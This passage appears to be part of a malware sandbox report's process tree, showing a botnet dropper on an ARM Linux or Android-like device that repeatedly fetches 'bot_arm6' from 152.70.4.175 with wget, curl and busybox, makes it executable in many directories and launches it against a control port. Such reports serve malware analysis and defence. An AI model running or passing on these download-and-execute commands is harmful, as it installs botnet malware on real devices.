  curl -s http://152.70.4.175:5555/bot_arm6 -o/vendor/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:901
- /vendor/bot
  /vendor/bot 152.70.4.175 3434
  2⤵
  PID:900
- /bin/chmod
  chmod +x /vendor/bot
  2⤵
  PID:902
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/vendor/bot
  2⤵
  PID:904
- /vendor/bot
  /vendor/bot 152.70.4.175 3434
  2⤵
  PID:903
- /bin/chmod
  chmod +x /vendor/bot
  2⤵
  PID:905
- /bin/sleep
  sleep 30
  2⤵
  PID:907
- /vendor/bot
  /vendor/bot 152.70.4.175 3434
  2⤵
  PID:906
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -Obot
  2⤵
  - Writes file to tmp directory
  PID:917
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:918
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -obot
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:920
- /bin/chmod
  chmod +x bot
  2⤵
  PID:921
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -Obot
  2⤵
  - Writes file to tmp directory
  PID:923
- /bin/chmod
  chmod +x bot
  2⤵
  PID:924
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/tmp/bot
  2⤵
  - Writes file to tmp directory
  PID:926
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:927
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/tmp/bot
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:929
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:928
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:931
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/tmp/bot
  2⤵
  - Writes file to tmp directory
  PID:933
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:932
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/var/tmp/bot
  2⤵
  PID:937
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:936
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  PID:938
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/var/tmp/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:940
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:939
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  PID:943
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/var/tmp/bot
  2⤵
  PID:945
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:944
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  PID:947
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/dev/shm/bot
  2⤵
  - Writes file to shm directory
  PID:949
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:948
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  PID:950
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/dev/shm/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to shm directory
  PID:952
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:951
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  PID:955
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/dev/shm/bot
  2⤵
  - Writes file to shm directory
  PID:957
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:956
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  PID:959
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O./bot
  2⤵
  - Writes file to tmp directory
  PID:961
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:960
- /bin/chmod
  chmod +x ./bot
  2⤵
  PID:962
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o./bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:965
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:964
- /bin/chmod
  chmod +x ./bot
  2⤵
  PID:967
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O./bot
  2⤵
  - Writes file to tmp directory
  PID:969
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:968
- /bin/chmod
  chmod +x ./bot
  2⤵
  PID:971
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/mnt/bot
  2⤵
  PID:973
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:972
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  PID:974
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/mnt/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:977
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:976
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  - File and Directory Permissions Modification
  PID:979
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/mnt/bot
  2⤵
  PID:981
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:980
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  - File and Directory Permissions Modification
  PID:983
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/data/bot
  2⤵
  PID:985
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:984
- /bin/chmod
  chmod +x /data/bot
  2⤵
  PID:986
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/data/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:989
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:988
- /bin/chmod
  chmod +x /data/bot
  2⤵
  - File and Directory Permissions Modification
  PID:990
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/data/bot
  2⤵
  PID:992
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:991
- /bin/chmod
  chmod +x /data/bot
  2⤵
  - File and Directory Permissions Modification
  PID:993
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/cache/bot
  2⤵
  PID:995
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:994
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  PID:996
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/cache/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:998
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:997
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  - File and Directory Permissions Modification
  PID:999
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/cache/bot
  2⤵
  PID:1001
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:1000
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1002
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/root/bot
  2⤵
  PID:1004
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:1003
- /bin/chmod
  chmod +x /root/bot
  2⤵
  PID:1005
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/root/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1007
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:1006
- /bin/chmod
  chmod +x /root/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1009
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/root/bot
  2⤵
  PID:1011
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:1010
- /bin/chmod
  chmod +x /root/bot
  2⤵
  PID:1013
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/home/bot
  2⤵
  PID:1015
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:1014
- /bin/chmod
  chmod +x /home/bot
  2⤵
  PID:1016
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/home/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1018
- /home/bot
  /home/bot 152.70.4.175 3434
  2⤵
  PID:1017
- /bin/chmod
  chmod +x /home/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1021
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/home/bot
  2⤵
  PID:1023
- /home/bot
  /home/bot 152.70.4.175 3434
  2⤵
  PID:1022
- /bin/chmod
  chmod +x /home/bot
  2⤵
  PID:1025
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/storage/bot
  2⤵
  PID:1027
- /home/bot
  /home/bot 152.70.4.175 3434
  2⤵
  PID:1026
- /bin/chmod
  chmod +x /storage/bot
  2⤵
  PID:1028
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/storage/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1031
- /storage/bot
  /storage/bot 152.70.4.175 3434
  2⤵
  PID:1030
- /bin/chmod
  chmod +x /storage/bot
  2⤵
  PID:1032
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/storage/bot
  2⤵
  PID:1034
- /storage/bot
  /storage/bot 152.70.4.175 3434
  2⤵
  PID:1033
- /bin/chmod
  chmod +x /storage/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1035
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/sdcard/bot
  2⤵
  PID:1037
- /storage/bot
  /storage/bot 152.70.4.175 3434
  2⤵
  PID:1036
- /bin/chmod
  chmod +x /sdcard/bot
  2⤵
  PID:1038
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/sdcard/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1040
- /sdcard/bot
  /sdcard/bot 152.70.4.175 3434
  2⤵
  PID:1039
- /bin/chmod
  chmod +x /sdcard/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1041
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/sdcard/bot
  2⤵
  PID:1043
- /sdcard/bot
  /sdcard/bot 152.70.4.175 3434
  2⤵
  PID:1042
- /bin/chmod
  chmod +x /sdcard/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1044
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/system/bot
  2⤵
  PID:1046
- /sdcard/bot
  /sdcard/bot 152.70.4.175 3434
  2⤵
  PID:1045
- /bin/chmod
  chmod +x /system/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1047
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/system/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1049
- /system/bot
  /system/bot 152.70.4.175 3434
  2⤵
  PID:1048
- /bin/chmod
  chmod +x /system/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1050
- /system/bot
  /system/bot 152.70.4.175 3434
  2⤵
  PID:1051
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/system/bot
  2⤵
  PID:1052
- /bin/chmod
  chmod +x /system/bot
  2⤵
  PID:1053
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/vendor/bot
  2⤵
  PID:1055
- /system/bot
  /system/bot 152.70.4.175 3434
  2⤵
  PID:1054
- /bin/chmod
  chmod +x /vendor/bot
  2⤵
  PID:1056
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/vendor/bot
  2⤵
  - Checks CPU configuration
  PID:1058
- /vendor/bot
  /vendor/bot 152.70.4.175 3434
  2⤵
  PID:1057
- /bin/chmod
  chmod +x /vendor/bot
  2⤵
  PID:1060
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/vendor/bot
  2⤵
  PID:1062
- /vendor/bot
  /vendor/bot 152.70.4.175 3434
  2⤵
  PID:1061
- /bin/chmod
  chmod +x /vendor/bot
  2⤵
  PID:1064
- /bin/sleep
  sleep 30
  2⤵
  PID:1066
- /vendor/bot
  /vendor/bot 152.70.4.175 3434
  2⤵
  PID:1065
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -Obot
  2⤵
  - Writes file to tmp directory
  PID:1071
- /bin/chmod
  chmod +x bot
  2⤵
  PID:1072
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -obot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1074
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:1075
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -Obot
  2⤵
  - Writes file to tmp directory
  PID:1077
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:1078
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/tmp/bot
  2⤵
  - Writes file to tmp directory
  PID:1080
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1081
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/tmp/bot
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:1084
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:1083
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:1086
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/tmp/bot
  2⤵
  - Writes file to tmp directory
  PID:1089
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:1088
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:1091
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/var/tmp/bot
  2⤵
  PID:1093
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:1092
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  PID:1094
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/var/tmp/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1096
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:1095
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  PID:1099
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/var/tmp/bot
  2⤵
  PID:1101
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:1100
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  PID:1103
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/dev/shm/bot
  2⤵
  - Writes file to shm directory
  PID:1105
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:1104
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1106
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/dev/shm/bot
  2⤵
  - Checks CPU configuration
  - Writes file to shm directory
  PID:1108
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:1107
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1111
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/dev/shm/bot
  2⤵
  - Writes file to shm directory
  PID:1113
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:1112
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1115
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O./bot
  2⤵
  - Writes file to tmp directory
  PID:1117
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:1116
- /bin/chmod
  chmod +x ./bot
  2⤵
  PID:1118
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o./bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1121
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:1120
- /bin/chmod
  chmod +x ./bot
  2⤵
  - File and Directory Permissions Modification
  PID:1123
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O./bot
  2⤵
  - Writes file to tmp directory
  PID:1125
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:1124
- /bin/chmod
  chmod +x ./bot
  2⤵
  - File and Directory Permissions Modification
  PID:1127
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/mnt/bot
  2⤵
  PID:1129
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:1128
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  PID:1130
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:1132
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/mnt/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1133
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  PID:1135
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/mnt/bot
  2⤵
  PID:1137
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:1136
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  PID:1139
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/data/bot
  2⤵
  PID:1141
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:1140
- /bin/chmod
  chmod +x /data/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1142
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/data/bot
  2⤵
  - Checks CPU configuration
  PID:1145
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:1144
- /bin/chmod
  chmod +x /data/bot
  2⤵
  PID:1146
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/data/bot
  2⤵
  PID:1148
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:1147
- /bin/chmod
  chmod +x /data/bot
  2⤵
  PID:1149
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/cache/bot
  2⤵
  PID:1151
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:1150
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  PID:1152
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/cache/bot
  2⤵
  - Checks CPU configuration
  PID:1154
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:1153
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  PID:1155
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/cache/bot
  2⤵
  PID:1157
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:1156
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1158
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/root/bot
  2⤵
  PID:1160
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:1159
- /bin/chmod
  chmod +x /root/bot
  2⤵
  PID:1161
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/root/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1163
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:1162
- /bin/chmod
  chmod +x /root/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1165
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/root/bot
  2⤵
  PID:1167
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:1166
- /bin/chmod
  chmod +x /root/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1169
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/home/bot
  2⤵
  PID:1171
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:1170
- /bin/chmod
  chmod +x /home/bot
  2⤵
  PID:1172
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/home/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1175
- /home/bot
  /home/bot 152.70.4.175 3434
  2⤵
  PID:1173
- /bin/chmod
  chmod +x /home/bot
  2⤵
  PID:1177
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/home/bot
  2⤵
  PID:1179
- /home/bot
  /home/bot 152.70.4.175 3434
  2⤵
  PID:1178
- /bin/chmod
  chmod +x /home/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1181
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/storage/bot
  2⤵
  PID:1183
- /home/bot
  /home/bot 152.70.4.175 3434
  2⤵
  PID:1182
- /bin/chmod
  chmod +x /storage/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1184
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/storage/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1186
- /storage/bot
  /storage/bot 152.70.4.175 3434
  2⤵
  PID:1185
- /bin/chmod
  chmod +x /storage/bot
  2⤵
  PID:1188
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/storage/bot
  2⤵
  PID:1190
- /storage/bot
  /storage/bot 152.70.4.175 3434
  2⤵
  PID:1189
- /bin/chmod
  chmod +x /storage/bot
  2⤵
  PID:1191
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/sdcard/bot
  2⤵
  PID:1193
- /storage/bot
  /storage/bot 152.70.4.175 3434
  2⤵
  PID:1192
- /bin/chmod
  chmod +x /sdcard/bot
  2⤵
  PID:1194
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/sdcard/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1196
- /sdcard/bot
  /sdcard/bot 152.70.4.175 3434
  2⤵
  PID:1195
- /bin/chmod
  chmod +x /sdcard/bot
  2⤵
  PID:1197
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/sdcard/bot
  2⤵
  PID:1199
- /sdcard/bot
  /sdcard/bot 152.70.4.175 3434
  2⤵
  PID:1198
- /bin/chmod
  chmod +x /sdcard/bot
  2⤵
  PID:1200
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/system/bot
  2⤵
  PID:1202
- /sdcard/bot
  /sdcard/bot 152.70.4.175 3434
  2⤵
  PID:1201
- /bin/chmod
  chmod +x /system/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1203
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/system/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1205
- /system/bot
  /system/bot 152.70.4.175 3434
  2⤵
  PID:1204
- /bin/chmod
  chmod +x /system/bot
  2⤵
  PID:1206
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/system/bot
  2⤵
  PID:1208
- /system/bot
  /system/bot 152.70.4.175 3434
  2⤵
  PID:1207
- /bin/chmod
  chmod +x /system/bot
  2⤵
  PID:1209
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/vendor/bot
  2⤵
  PID:1211
- /system/bot
  /system/bot 152.70.4.175 3434
  2⤵
  PID:1210
- /bin/chmod
  chmod +x /vendor/bot
  2⤵
  PID:1212
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/vendor/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1214
- /vendor/bot
  /vendor/bot 152.70.4.175 3434
  2⤵
  PID:1213
- /bin/chmod
  chmod +x /vendor/bot
  2⤵
  PID:1215
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/vendor/bot
  2⤵
  PID:1217
- /vendor/bot
  /vendor/bot 152.70.4.175 3434
  2⤵
  PID:1216
- /bin/chmod
  chmod +x /vendor/bot
  2⤵
  PID:1218
- /bin/sleep
  sleep 30
  2⤵
  PID:1220
- /vendor/bot
  /vendor/bot 152.70.4.175 3434
  2⤵
  PID:1219
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -Obot
  2⤵
  - Writes file to tmp directory
  PID:1227
- /bin/chmod
  chmod +x bot
  2⤵
  PID:1228
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -obot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1230
- /bin/chmod
  chmod +x bot
  2⤵
  PID:1231
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -Obot
  2⤵
  - Writes file to tmp directory
  PID:1233
- /bin/chmod
  chmod +x bot
  2⤵
  PID:1234
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/tmp/bot
  2⤵
  - Writes file to tmp directory
  PID:1236
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:1237
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/tmp/bot
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:1239
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:1238
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:1241
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/tmp/bot
  2⤵
  - Writes file to tmp directory
  PID:1243
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:1242
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:1245
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/var/tmp/bot
  2⤵
  PID:1247
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:1246
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  PID:1248
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/var/tmp/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1250
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:1249
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  PID:1253
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/var/tmp/bot
  2⤵
  PID:1255
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:1254
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1257
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/dev/shm/bot
  2⤵
  - Writes file to shm directory
  PID:1259
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:1258
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1260
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/dev/shm/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to shm directory
  PID:1262
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:1261
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1265
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/dev/shm/bot
  2⤵
  - Writes file to shm directory
  PID:1267
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:1266
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  PID:1269
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O./bot
  2⤵
  - Writes file to tmp directory
  PID:1271
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:1270
- /bin/chmod
  chmod +x ./bot
  2⤵
  - File and Directory Permissions Modification
  PID:1272
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o./bot
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:1274
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:1273
- /bin/chmod
  chmod +x ./bot
  2⤵
  PID:1277
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O./bot
  2⤵
  - Writes file to tmp directory
  PID:1279
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:1278
- /bin/chmod
  chmod +x ./bot
  2⤵
  PID:1281
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/mnt/bot
  2⤵
  PID:1283
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:1282
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  PID:1284
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/mnt/bot
  2⤵
  - Checks CPU configuration
  PID:1286
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
